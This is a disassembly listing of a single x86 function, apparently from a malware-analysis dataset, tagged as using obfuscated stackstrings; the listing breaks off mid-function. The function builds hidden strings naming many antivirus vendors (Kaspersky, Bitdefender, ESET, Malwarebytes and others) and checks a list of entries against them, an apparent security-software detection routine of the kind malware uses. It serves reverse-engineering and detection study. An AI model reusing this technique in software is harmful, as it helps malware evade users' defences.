Function at 0x10006700
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10012c4b
mov eax, dword fs:[0]
push eax
sub esp, 0x750
mov eax, dword [0x100170b8]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x5ec], ecx
lea ecx, [ebp - 0x130]
call fcn.10003660
mov dword [ebp - 4], 0
call fcn.10006630
lea ecx, [ebp - 0x114]
call fcn.100082d0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x114]
call fcn.10008320
lea ecx, [ebp - 0x14c]
call fcn.10003660
mov byte [ebp - 4], 2
mov dword [ebp - 0x150], 0
jmp 0x1000678c
mov eax, dword [ebp - 0x150]
add eax, 1
mov dword [ebp - 0x150], eax
mov ecx, dword [ebp - 0x5ec]
mov ecx, dword [ecx + 0x3c]
add ecx, 4
call fcn.10001b10
cmp dword [ebp - 0x150], eax
jae 0x10008000
mov edx, dword [ebp - 0x150]
push edx
mov eax, dword [ebp - 0x5ec]
mov ecx, dword [eax + 0x3c]
add ecx, 4
call fcn.10005cc0
push eax
lea ecx, [ebp - 0x14c]
call fcn.100034e0
push 0
push 0x10017ef8
lea ecx, [ebp - 0x14c]
call fcn.10008070
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 0
jne 0x10006857
mov ecx, dword [ebp - 0x150]
push ecx
mov edx, dword [ebp - 0x5ec]
mov ecx, dword [edx + 0x3c]
add ecx, 0x1c
call fcn.10005cc0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x498], esp
push eax
call fcn.10002600
mov dword [ebp - 0x5f0], eax
mov eax, dword [ebp - 0x5f0]
mov dword [ebp - 0x5f4], eax
mov byte [ebp - 4], 3
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x49c], esp
push 0x10017ef8
call fcn.10001720
mov dword [ebp - 0x5f8], eax
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x5ec]
call fcn.100064e0
push 0
push 0x10017f60
lea ecx, [ebp - 0x14c]
call fcn.10008070
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 0
jne 0x10006a98
push 0
push 0
lea ecx, [ebp - 0x4b8]
push ecx
lea ecx, [ebp - 0x114]
call fcn.100085e0
mov dword [ebp - 0x5fc], eax
mov edx, dword [ebp - 0x5fc]
mov dword [ebp - 0x600], edx
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x600]
call fcn.100028c0
push eax
lea ecx, [ebp - 0x14c]
call fcn.10008070
mov dword [ebp - 0x494], eax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x4b8]
call fcn.10001760
cmp dword [ebp - 0x494], 0
jle 0x1000698a
mov eax, dword [ebp - 0x150]
push eax
mov ecx, dword [ebp - 0x5ec]
mov ecx, dword [ecx + 0x3c]
add ecx, 0x1c
call fcn.10005cc0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x4bc], esp
push eax
call fcn.10002600
mov dword [ebp - 0x604], eax
mov edx, dword [ebp - 0x604]
mov dword [ebp - 0x608], edx
mov byte [ebp - 4], 5
push 1
lea eax, [ebp - 0x4dc]
push eax
lea ecx, [ebp - 0x114]
call fcn.100085e0
mov dword [ebp - 0x60c], eax
mov ecx, dword [ebp - 0x60c]
mov dword [ebp - 0x610], ecx
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x610]
call fcn.100028c0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x4c0], esp
push eax
call fcn.10001720
mov dword [ebp - 0x614], eax
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x5ec]
call fcn.100064e0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x4dc]
call fcn.10001760
push 0
push 2
lea edx, [ebp - 0x4f8]
push edx
lea ecx, [ebp - 0x114]
call fcn.100085e0
mov dword [ebp - 0x618], eax
mov eax, dword [ebp - 0x618]
mov dword [ebp - 0x61c], eax
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x61c]
call fcn.100028c0
push eax
lea ecx, [ebp - 0x14c]
call fcn.10008070
mov dword [ebp - 0x494], eax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x4f8]
call fcn.10001760
cmp dword [ebp - 0x494], 0
jle 0x10006a98
mov ecx, dword [ebp - 0x150]
push ecx
mov edx, dword [ebp - 0x5ec]
mov ecx, dword [edx + 0x3c]
add ecx, 0x1c
call fcn.10005cc0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x4fc], esp
push eax
call fcn.10002600
mov dword [ebp - 0x620], eax
mov eax, dword [ebp - 0x620]
mov dword [ebp - 0x624], eax
mov byte [ebp - 4], 9
push 3
lea ecx, [ebp - 0x51c]
push ecx
lea ecx, [ebp - 0x114]
call fcn.100085e0
mov dword [ebp - 0x628], eax
mov edx, dword [ebp - 0x628]
mov dword [ebp - 0x62c], edx
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x62c]
call fcn.100028c0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x500], esp
push eax
call fcn.10001720
mov dword [ebp - 0x630], eax
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x5ec]
call fcn.100064e0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x51c]
call fcn.10001760
mov byte [ebp - 0x2bc], 0
xor eax, eax
mov dword [ebp - 0x2bb], eax
mov dword [ebp - 0x2b7], eax
mov byte [ebp - 0x2b3], al
mov byte [ebp - 0x294], 0
xor ecx, ecx
mov dword [ebp - 0x293], ecx
mov dword [ebp - 0x28f], ecx
mov byte [ebp - 0x28b], cl
mov byte [ebp - 0x292], 0x67
mov byte [ebp - 0x293], 0x76
mov byte [ebp - 0x294], 0x61
mov byte [ebp - 0x2b6], 0x72
mov byte [ebp - 0x2b7], 0x61
mov byte [ebp - 0x2b8], 0x62
mov byte [ebp - 0x2b9], 0x6c
mov byte [ebp - 0x2ba], 0x6f
mov byte [ebp - 0x2bb], 0x6f
mov byte [ebp - 0x2bc], 0x74
push 0
lea edx, [ebp - 0x294]
push edx
lea ecx, [ebp - 0x14c]
call fcn.10008070
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 0
jne 0x10006bc9
push 0
lea eax, [ebp - 0x2bc]
push eax
lea ecx, [ebp - 0x14c]
call fcn.10008070
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 0
jge 0x10006bc9
mov ecx, dword [ebp - 0x150]
push ecx
mov edx, dword [ebp - 0x5ec]
mov ecx, dword [edx + 0x3c]
add ecx, 0x1c
call fcn.10005cc0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x520], esp
push eax
call fcn.10002600
mov dword [ebp - 0x634], eax
mov eax, dword [ebp - 0x634]
mov dword [ebp - 0x638], eax
mov byte [ebp - 4], 0xc
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x524], esp
lea edx, [ebp - 0x294]
push edx
call fcn.10001720
mov dword [ebp - 0x63c], eax
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x5ec]
call fcn.100064e0
push 0
push str.avira
lea ecx, [ebp - 0x14c]
call fcn.10008070
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 0
jne 0x10006c53
mov eax, dword [ebp - 0x150]
push eax
mov ecx, dword [ebp - 0x5ec]
mov ecx, dword [ecx + 0x3c]
add ecx, 0x1c
call fcn.10005cc0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x528], esp
push eax
call fcn.10002600
mov dword [ebp - 0x640], eax
mov edx, dword [ebp - 0x640]
mov dword [ebp - 0x644], edx
mov byte [ebp - 4], 0xd
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x52c], esp
push str.avira
call fcn.10001720
mov dword [ebp - 0x648], eax
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x5ec]
call fcn.100064e0
push 0
push str.symantec
lea ecx, [ebp - 0x14c]
call fcn.10008070
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 0
jne 0x10006ceb
mov eax, dword [ebp - 0x5ec]
movzx ecx, byte [eax + 0x39]
test ecx, ecx
je 0x10006ceb
mov edx, dword [ebp - 0x150]
push edx
mov eax, dword [ebp - 0x5ec]
mov ecx, dword [eax + 0x3c]
add ecx, 0x1c
call fcn.10005cc0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x530], esp
push eax
call fcn.10002600
mov dword [ebp - 0x64c], eax
mov ecx, dword [ebp - 0x64c]
mov dword [ebp - 0x650], ecx
mov byte [ebp - 4], 0xe
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x534], esp
push str.symantec
call fcn.10001720
mov dword [ebp - 0x654], eax
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x5ec]
call fcn.100064e0
push 0
push str.mcafee
lea ecx, [ebp - 0x14c]
call fcn.10008070
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 0
jne 0x10006dc1
push 0
lea edx, [ebp - 0x2bc]
push edx
lea ecx, [ebp - 0x14c]
call fcn.10008070
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 0
jge 0x10006dc1
push 0
push str.backup
lea ecx, [ebp - 0x14c]
call fcn.10008070
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 0
jge 0x10006dc1
mov eax, dword [ebp - 0x150]
push eax
mov ecx, dword [ebp - 0x5ec]
mov ecx, dword [ecx + 0x3c]
add ecx, 0x1c
call fcn.10005cc0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x538], esp
push eax
call fcn.10002600
mov dword [ebp - 0x658], eax
mov edx, dword [ebp - 0x658]
mov dword [ebp - 0x65c], edx
mov byte [ebp - 4], 0xf
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x53c], esp
push str.mcafee
call fcn.10001720
mov dword [ebp - 0x660], eax
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x5ec]
call fcn.100064e0
mov byte [ebp - 0x288], 0
xor eax, eax
mov dword [ebp - 0x287], eax
mov dword [ebp - 0x283], eax
mov byte [ebp - 0x27f], al
mov byte [ebp - 0x285], 0x74
mov byte [ebp - 0x286], 0x65
mov byte [ebp - 0x287], 0x73
mov byte [ebp - 0x288], 0x65
push 0
lea ecx, [ebp - 0x288]
push ecx
lea ecx, [ebp - 0x14c]
call fcn.10008070
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 0
jne 0x10006e86
mov edx, dword [ebp - 0x150]
push edx
mov eax, dword [ebp - 0x5ec]
mov ecx, dword [eax + 0x3c]
add ecx, 0x1c
call fcn.10005cc0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x540], esp
push eax
call fcn.10002600
mov dword [ebp - 0x664], eax
mov ecx, dword [ebp - 0x664]
mov dword [ebp - 0x668], ecx
mov byte [ebp - 4], 0x10
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x544], esp
lea edx, [ebp - 0x288]
push edx
call fcn.10001720
mov dword [ebp - 0x66c], eax
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x5ec]
call fcn.100064e0
mov byte [ebp - 0x188], 0
xor eax, eax
mov dword [ebp - 0x187], eax
mov dword [ebp - 0x183], eax
mov byte [ebp - 0x17f], al
mov byte [ebp - 0x180], 0x79
mov byte [ebp - 0x181], 0x6b
mov byte [ebp - 0x182], 0x73
mov byte [ebp - 0x183], 0x72
mov byte [ebp - 0x184], 0x65
mov byte [ebp - 0x185], 0x70
mov byte [ebp - 0x186], 0x73
mov byte [ebp - 0x187], 0x61
mov byte [ebp - 0x188], 0x6b
push 0
lea ecx, [ebp - 0x188]
push ecx
lea ecx, [ebp - 0x14c]
call fcn.10008070
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 0
jne 0x10006f6e
mov edx, dword [ebp - 0x150]
push edx
mov eax, dword [ebp - 0x5ec]
mov ecx, dword [eax + 0x3c]
add ecx, 0x1c
call fcn.10005cc0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x548], esp
push eax
call fcn.10002600
mov dword [ebp - 0x670], eax
mov ecx, dword [ebp - 0x670]
mov dword [ebp - 0x674], ecx
mov byte [ebp - 4], 0x11
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x54c], esp
lea edx, [ebp - 0x188]
push edx
call fcn.10001720
mov dword [ebp - 0x678], eax
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x5ec]
call fcn.100064e0
push 0
push str.norton
lea ecx, [ebp - 0x14c]
call fcn.10008070
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 0
jne 0x10007006
mov eax, dword [ebp - 0x5ec]
movzx ecx, byte [eax + 0x38]
test ecx, ecx
je 0x10007006
mov edx, dword [ebp - 0x150]
push edx
mov eax, dword [ebp - 0x5ec]
mov ecx, dword [eax + 0x3c]
add ecx, 0x1c
call fcn.10005cc0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x550], esp
push eax
call fcn.10002600
mov dword [ebp - 0x67c], eax
mov ecx, dword [ebp - 0x67c]
mov dword [ebp - 0x680], ecx
mov byte [ebp - 4], 0x12
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x554], esp
push str.norton
call fcn.10001720
mov dword [ebp - 0x684], eax
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x5ec]
call fcn.100064e0
mov byte [ebp - 0x174], 0
xor edx, edx
mov dword [ebp - 0x173], edx
mov dword [ebp - 0x16f], edx
mov byte [ebp - 0x16b], dl
mov byte [ebp - 0x16f], 0x6f
mov byte [ebp - 0x170], 0x64
mov byte [ebp - 0x171], 0x6f
mov byte [ebp - 0x172], 0x6d
mov byte [ebp - 0x173], 0x6f
mov byte [ebp - 0x174], 0x63
push 0
lea eax, [ebp - 0x174]
push eax
lea ecx, [ebp - 0x14c]
call fcn.10008070
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 0
jne 0x100070d9
mov ecx, dword [ebp - 0x150]
push ecx
mov edx, dword [ebp - 0x5ec]
mov ecx, dword [edx + 0x3c]
add ecx, 0x1c
call fcn.10005cc0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x558], esp
push eax
call fcn.10002600
mov dword [ebp - 0x688], eax
mov eax, dword [ebp - 0x688]
mov dword [ebp - 0x68c], eax
mov byte [ebp - 4], 0x13
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x55c], esp
lea edx, [ebp - 0x174]
push edx
call fcn.10001720
mov dword [ebp - 0x690], eax
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x5ec]
call fcn.100064e0
mov byte [ebp - 0x194], 0
xor eax, eax
mov dword [ebp - 0x193], eax
mov dword [ebp - 0x18f], eax
mov byte [ebp - 0x18b], al
mov byte [ebp - 0x18f], 0x74
mov byte [ebp - 0x190], 0x6f
mov byte [ebp - 0x191], 0x62
mov byte [ebp - 0x192], 0x79
mov byte [ebp - 0x193], 0x70
mov byte [ebp - 0x194], 0x73
push 0
lea ecx, [ebp - 0x194]
push ecx
lea ecx, [ebp - 0x14c]
call fcn.10008070
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 0
jne 0x100071ac
mov edx, dword [ebp - 0x150]
push edx
mov eax, dword [ebp - 0x5ec]
mov ecx, dword [eax + 0x3c]
add ecx, 0x1c
call fcn.10005cc0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x560], esp
push eax
call fcn.10002600
mov dword [ebp - 0x694], eax
mov ecx, dword [ebp - 0x694]
mov dword [ebp - 0x698], ecx
mov byte [ebp - 4], 0x14
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x564], esp
lea edx, [ebp - 0x194]
push edx
call fcn.10001720
mov dword [ebp - 0x69c], eax
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x5ec]
call fcn.100064e0
mov byte [ebp - 0x168], 0
xor eax, eax
mov dword [ebp - 0x167], eax
mov dword [ebp - 0x163], eax
mov word [ebp - 0x15f], ax
mov byte [ebp - 0x15d], al
mov byte [ebp - 0x168], 0x62
mov byte [ebp - 0x162], 0x65
mov byte [ebp - 0x166], 0x74
mov byte [ebp - 0x15f], 0x65
mov byte [ebp - 0x161], 0x6e
mov byte [ebp - 0x164], 0x65
mov byte [ebp - 0x165], 0x64
mov byte [ebp - 0x15e], 0x72
mov byte [ebp - 0x160], 0x64
mov byte [ebp - 0x163], 0x66
mov byte [ebp - 0x167], 0x69
push 0
lea ecx, [ebp - 0x168]
push ecx
lea ecx, [ebp - 0x14c]
call fcn.10008070
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 0
jne 0x100072a9
mov edx, dword [ebp - 0x150]
push edx
mov eax, dword [ebp - 0x5ec]
mov ecx, dword [eax + 0x3c]
add ecx, 0x1c
call fcn.10005cc0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x568], esp
push eax
call fcn.10002600
mov dword [ebp - 0x6a0], eax
mov ecx, dword [ebp - 0x6a0]
mov dword [ebp - 0x6a4], ecx
mov byte [ebp - 4], 0x15
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x56c], esp
lea edx, [ebp - 0x168]
push edx
call fcn.10001720
mov dword [ebp - 0x6a8], eax
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x5ec]
call fcn.100064e0
push 0
push str.g_data
lea ecx, [ebp - 0x14c]
call fcn.10008070
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 0
jne 0x10007333
mov eax, dword [ebp - 0x150]
push eax
mov ecx, dword [ebp - 0x5ec]
mov ecx, dword [ecx + 0x3c]
add ecx, 0x1c
call fcn.10005cc0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x570], esp
push eax
call fcn.10002600
mov dword [ebp - 0x6ac], eax
mov edx, dword [ebp - 0x6ac]
mov dword [ebp - 0x6b0], edx
mov byte [ebp - 4], 0x16
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x574], esp
push str.gdata
call fcn.10001720
mov dword [ebp - 0x6b4], eax
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x5ec]
call fcn.100064e0
mov byte [ebp - 0x27c], 0
xor eax, eax
mov dword [ebp - 0x27b], eax
mov dword [ebp - 0x277], eax
mov dword [ebp - 0x273], eax
mov word [ebp - 0x26f], ax
mov byte [ebp - 0x271], 0x73
mov byte [ebp - 0x272], 0x65
mov byte [ebp - 0x273], 0x74
mov byte [ebp - 0x274], 0x79
mov byte [ebp - 0x275], 0x62
mov byte [ebp - 0x276], 0x65
mov byte [ebp - 0x277], 0x72
mov byte [ebp - 0x278], 0x61
mov byte [ebp - 0x279], 0x77
mov byte [ebp - 0x27a], 0x6c
mov byte [ebp - 0x27b], 0x61
mov byte [ebp - 0x27c], 0x6d
push 0
lea ecx, [ebp - 0x27c]
push ecx
lea ecx, [ebp - 0x14c]
call fcn.10008070
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 0
jne 0x10007437
mov edx, dword [ebp - 0x150]
push edx
mov eax, dword [ebp - 0x5ec]
mov ecx, dword [eax + 0x3c]
add ecx, 0x1c
call fcn.10005cc0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x578], esp
push eax
call fcn.10002600
mov dword [ebp - 0x6b8], eax
mov ecx, dword [ebp - 0x6b8]
mov dword [ebp - 0x6bc], ecx
mov byte [ebp - 4], 0x17
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x57c], esp
lea edx, [ebp - 0x27c]
push edx
call fcn.10001720
mov dword [ebp - 0x6c0], eax
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x5ec]
call fcn.100064e0
mov byte [ebp - 0x26c], 0
push 0xc7
push 0
lea eax, [ebp - 0x26b]
push eax
call fcn.10009840
add esp, 0xc
mov byte [ebp - 0x265], 0x79
mov byte [ebp - 0x266], 0x74
mov byte [ebp - 0x267], 0x69
mov byte [ebp - 0x268], 0x72
mov byte [ebp - 0x269], 0x75
mov byte [ebp - 0x26a], 0x63
mov byte [ebp - 0x26b], 0x65
mov byte [ebp - 0x26c], 0x73
mov byte [ebp - 0x3ac], 0
push 0xc7
push 0
lea ecx, [ebp - 0x3ab]
push ecx
call fcn.10009840
add esp, 0xc
mov byte [ebp - 0x3a4], 0x73
mov byte [ebp - 0x3a5], 0x75
mov byte [ebp - 0x3a6], 0x72
mov byte [ebp - 0x3a7], 0x69
mov byte [ebp - 0x3a8], 0x76
mov byte [ebp - 0x3a9], 0x69
mov byte [ebp - 0x3aa], 0x74
mov byte [ebp - 0x3ab], 0x6e
mov byte [ebp - 0x3ac], 0x61
push 0
push str.panda
lea ecx, [ebp - 0x14c]
call fcn.10008070
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 0
jne 0x100076af
push 0
lea edx, [ebp - 0x26c]
push edx
lea ecx, [ebp - 0x14c]
call fcn.10008070
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 0
jle 0x10007599
mov eax, dword [ebp - 0x150]
push eax
mov ecx, dword [ebp - 0x5ec]
mov ecx, dword [ecx + 0x3c]
add ecx, 0x1c
call fcn.10005cc0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x580], esp
push eax
call fcn.10002600
mov dword [ebp - 0x6c4], eax
mov edx, dword [ebp - 0x6c4]
mov dword [ebp - 0x6c8], edx
mov byte [ebp - 4], 0x18
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x584], esp
push str.panda
call fcn.10001720
mov dword [ebp - 0x6cc], eax
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x5ec]
call fcn.100064e0
push 0
lea eax, [ebp - 0x3ac]
push eax
lea ecx, [ebp - 0x14c]
call fcn.10008070
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 0
jle 0x10007625
mov ecx, dword [ebp - 0x150]
push ecx
mov edx, dword [ebp - 0x5ec]
mov ecx, dword [edx + 0x3c]
add ecx, 0x1c
call fcn.10005cc0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x588], esp
push eax
call fcn.10002600
mov dword [ebp - 0x6d0], eax
mov eax, dword [ebp - 0x6d0]
mov dword [ebp - 0x6d4], eax
mov byte [ebp - 4], 0x19
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x58c], esp
push str.panda
call fcn.10001720
mov dword [ebp - 0x6d8], eax
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x5ec]
call fcn.100064e0
push 0
push str.protection
lea ecx, [ebp - 0x14c]
call fcn.10008070
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 0
jle 0x100076af
mov ecx, dword [ebp - 0x150]
push ecx
mov edx, dword [ebp - 0x5ec]
mov ecx, dword [edx + 0x3c]
add ecx, 0x1c
call fcn.10005cc0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x590], esp
push eax
call fcn.10002600
mov dword [ebp - 0x6dc], eax
mov eax, dword [ebp - 0x6dc]
mov dword [ebp - 0x6e0], eax
mov byte [ebp - 4], 0x1a
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x594], esp
push str.panda
call fcn.10001720
mov dword [ebp - 0x6e4], eax
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x5ec]
call fcn.100064e0
mov byte [ebp - 0x484], 0
push 0xc7
push 0
lea ecx, [ebp - 0x483]
push ecx
call fcn.10009840
add esp, 0xc
mov byte [ebp - 0x47f], 0x62
mov byte [ebp - 0x480], 0x65
mov byte [ebp - 0x481], 0x77
mov byte [ebp - 0x482], 0x2e
mov byte [ebp - 0x483], 0x72
mov byte [ebp - 0x484], 0x64
push 0
lea edx, [ebp - 0x484]
push edx
lea ecx, [ebp - 0x14c]
call fcn.10008070
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 0
jne 0x10007782
mov eax, dword [ebp - 0x150]
push eax
mov ecx, dword [ebp - 0x5ec]
mov ecx, dword [ecx + 0x3c]
add ecx, 0x1c
call fcn.10005cc0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x598], esp
push eax
call fcn.10002600
mov dword [ebp - 0x6e8], eax
mov edx, dword [ebp - 0x6e8]
mov dword [ebp - 0x6ec], edx
mov byte [ebp - 4], 0x1b
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x59c], esp
push str.drweb
call fcn.10001720
mov dword [ebp - 0x6f0], eax
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x5ec]
call fcn.100064e0
mov byte [ebp - 0x17c], 0
xor eax, eax
mov dword [ebp - 0x17b], eax
mov word [ebp - 0x177], ax
mov byte [ebp - 0x177], 0x6e
mov byte [ebp - 0x178], 0x61
mov byte [ebp - 0x179], 0x6d
mov byte [ebp - 0x17a], 0x72
mov byte [ebp - 0x17b], 0x6f
mov byte [ebp - 0x17c], 0x6e
push 0
lea ecx, [ebp - 0x17c]
push ecx
lea ecx, [ebp - 0x14c]
call fcn.10008070
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 0
jne 0x10007850
mov edx, dword [ebp - 0x150]
push edx
mov eax, dword [ebp - 0x5ec]
mov ecx, dword [eax + 0x3c]
add ecx, 0x1c
call fcn.10005cc0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x5a0], esp
push eax
call fcn.10002600
mov dword [ebp - 0x6f4], eax
mov ecx, dword [ebp - 0x6f4]
mov dword [ebp - 0x6f8], ecx
mov byte [ebp - 4], 0x1c
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x5a4], esp
lea edx, [ebp - 0x17c]
push edx
call fcn.10001720
mov dword [ebp - 0x6fc], eax
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x5ec]
call fcn.100064e0
push 0
push 0x10017fc8
lea ecx, [ebp - 0x14c]
call fcn.10008070
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 0
jne 0x100078da
mov eax, dword [ebp - 0x150]
push eax
mov ecx, dword [ebp - 0x5ec]
mov ecx, dword [ecx + 0x3c]
add ecx, 0x1c
call fcn.10005cc0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x5a8], esp
push eax
call fcn.10002600
mov dword [ebp - 0x700], eax
mov edx, dword [ebp - 0x700]
mov dword [ebp - 0x704], edx
mov byte [ebp - 4], 0x1d
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x5ac], esp
push 0x10018030
call fcn.10001720
mov dword [ebp - 0x708], eax
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x5ec]
call fcn.100064e0
mov byte [ebp - 0x3b8], 0
xor eax, eax
mov dword [ebp - 0x3b7], eax
mov dword [ebp - 0x3b3], eax
mov byte [ebp - 0x3af], al
mov byte [ebp - 0x2e0], 0
xor ecx, ecx
mov dword [ebp - 0x2df], ecx
mov dword [ebp - 0x2db], ecx
mov byte [ebp - 0x2d7], cl
mov byte [ebp - 0x3b2], 0x65
mov byte [ebp - 0x3b3], 0x72
mov byte [ebp - 0x3b4], 0x75
mov byte [ebp - 0x3b5], 0x63
mov byte [ebp - 0x3b6], 0x65
mov byte [ebp - 0x3b7], 0x73
mov byte [ebp - 0x3b8], 0x66
mov byte [ebp - 0x2d9], 0x65
mov byte [ebp - 0x2da], 0x72
mov byte [ebp - 0x2db], 0x75
mov byte [ebp - 0x2dc], 0x63
mov byte [ebp - 0x2dd], 0x65
mov byte [ebp - 0x2de], 0x73
mov byte [ebp - 0x2df], 0x2d
mov byte [ebp - 0x2e0], 0x66
push 0
lea edx, [ebp - 0x2e0]
push edx
lea ecx, [ebp - 0x14c]
call fcn.10008070
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 0
jne 0x10007a07
mov eax, dword [ebp - 0x150]
push eax
mov ecx, dword [ebp - 0x5ec]
mov ecx, dword [ecx + 0x3c]
add ecx, 0x1c
call fcn.10005cc0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x5b0], esp
push eax
call fcn.10002600
mov dword [ebp - 0x70c], eax
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x710], edx
mov byte [ebp - 4], 0x1e
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x5b4], esp
lea eax, [ebp - 0x3b8]
push eax
call fcn.10001720
mov dword [ebp - 0x714], eax
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x5ec]
call fcn.100064e0
mov byte [ebp - 0x1a0], 0
xor ecx, ecx
mov dword [ebp - 0x19f], ecx
mov dword [ebp - 0x19b], ecx
mov word [ebp - 0x197], cx
mov byte [ebp - 0x195], cl
mov byte [ebp - 0x197], 0x75
mov byte [ebp - 0x199], 0x69
mov byte [ebp - 0x19c], 0x74
mov byte [ebp - 0x19e], 0x61
mov byte [ebp - 0x1a0], 0x6b
mov byte [ebp - 0x19f], 0x37
mov byte [ebp - 0x19b], 0x69
mov byte [ebp - 0x19d], 0x6e
mov byte [ebp - 0x19a], 0x76
mov byte [ebp - 0x196], 0x73
mov byte [ebp - 0x198], 0x72
push 0
lea edx, [ebp - 0x1a0]
push edx
lea ecx, [ebp - 0x14c]
call fcn.10008070
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 0
jne 0x10007b04
mov eax, dword [ebp - 0x150]
push eax
mov ecx, dword [ebp - 0x5ec]
mov ecx, dword [ecx + 0x3c]
add ecx, 0x1c
call fcn.10005cc0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x5b8], esp
push eax
call fcn.10002600
mov dword [ebp - 0x718], eax
mov edx, dword [ebp - 0x718]
mov dword [ebp - 0x71c], edx
mov byte [ebp - 4], 0x1f
sub esp, 0x1c
